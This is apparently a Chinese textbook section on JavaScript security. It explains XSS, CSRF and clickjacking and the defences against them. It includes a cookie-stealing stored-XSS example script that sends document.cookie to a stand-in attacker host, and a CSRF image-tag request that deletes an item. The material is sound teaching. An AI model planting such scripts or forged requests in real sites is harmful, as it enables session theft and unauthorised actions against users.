网络空间安全技术
上QQ阅读APP看书,第一时间看更新

2.2 JavaScript技术

JavaScript是由Netscape公司开发的一种脚本语言,是目前因特网上最流行的脚本语言之一,并且可在目前主要的浏览器中运行,其目的是扩展基本的HTML功能,处理Web网页表单信息,为Web网页增加动态效果。

1.JavaScript基础

在客户端的应用中很难将JavaScript程序和HTML文档分开,JavaScript代码总是和HTML一起使用的,它的各种对象都有各自的HTML标记,当HTML文档在浏览器中被打开时,JavaScript代码才被执行。JavaScript代码使用HTML标记<script></script>嵌入HTML文档中。它扩展了标准的HTML,为HTML标记增加了事件,通过事件驱动来执行JavaScript代码。

2.JavaScript安全攻击

(1)跨站脚本攻击

通过插入恶意的HTML和JavaScript脚本来攻击网站,盗取用户Cookie、破坏页面结构、重定向到其他网站。常见的XSS有3种。

● 基于文档对象模型(Document Object Model,DOM)的XSS:DOM的树形结构会动态地将恶意代码嵌入页面、框架、程序或API而实现的跨站攻击。例如,如果程序编码<h1><?php echo $title ?></h1>,用于接收用户输入的标题,而用户输入的$title为'<script>恶意JS攻击代码</script>',这时经过DOM解析就会出现XSS攻击。

● 反射式XSS(非持久性XSS):恶意脚本未经转义被直接输入并作为HTML输出的一部分,恶意脚本不在后台存储,直接在前端浏览器被执行。例如,用户在搜索框输入<script>恶意JS代码</script>。

● 存储式XSS(持久性XSS):恶意脚本被后台存储,后期被其他用户或管理员单击展示从而实现攻击,危害面更广。例如,某旅行日记网站(blog.com)可以写日记,攻击者登录后在blog.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open("www.attack.com?param="+document.cookie)</script>,如果普通用户访问日记网站看到这篇文章,用户的Cookie信息就会发送到攻击者预设的服务器上。

(2)跨站请求伪造(Cross Site Request Forgery,CSRF)

攻击者可以伪造某个请求的所有参数,在B站发起一个属于A站的请求,这就是跨站请求。例如,GET http://a.com/item/delete?id=1,客户登陆了A站,然后又去访问B站,在B站请求了一张图片<img src="http://a.com/item/delete?id=1"/>,这时受害者在不知道的情况下发起了一个删除请求。

(3)点击劫持(ClickJacking)

恶意攻击者用一个透明的iframe覆盖在网页上,欺骗客户在这个iframe上操作。

3.JavaScript安全防护

(1)对于XSS攻击的防护

不要信任任何用户输入,对输入的具体特殊字符、长度和类型等的数据进行过滤处理,使用输入白名单控制。

对输出的数据使用HTML编码,对一些字符做转义处理,所有HTML和XML中输出的数据,都需要做HTML转义处理(Html Escape)。

为Cookie设置httponly和secure属性,避免攻击者通过document.cookie盗取合法用户的Cookie。

(2)对于CSRF攻击的防护

每一个请求都加一个变动的、不可预先知道的CSRFToken,服务器端对每个请求都验证CSRFToken。

(3)对于点击劫持的防护

在HTTP头,X-Frame-Options根据实际需要,设置正确的值,设置如下。

● DENY:禁止任何页面的frame加载。

● SAMEORIGIN:只允许同源页面的frame加载。

● ALLOW-FROM:可定义允许frame加载的页面地址。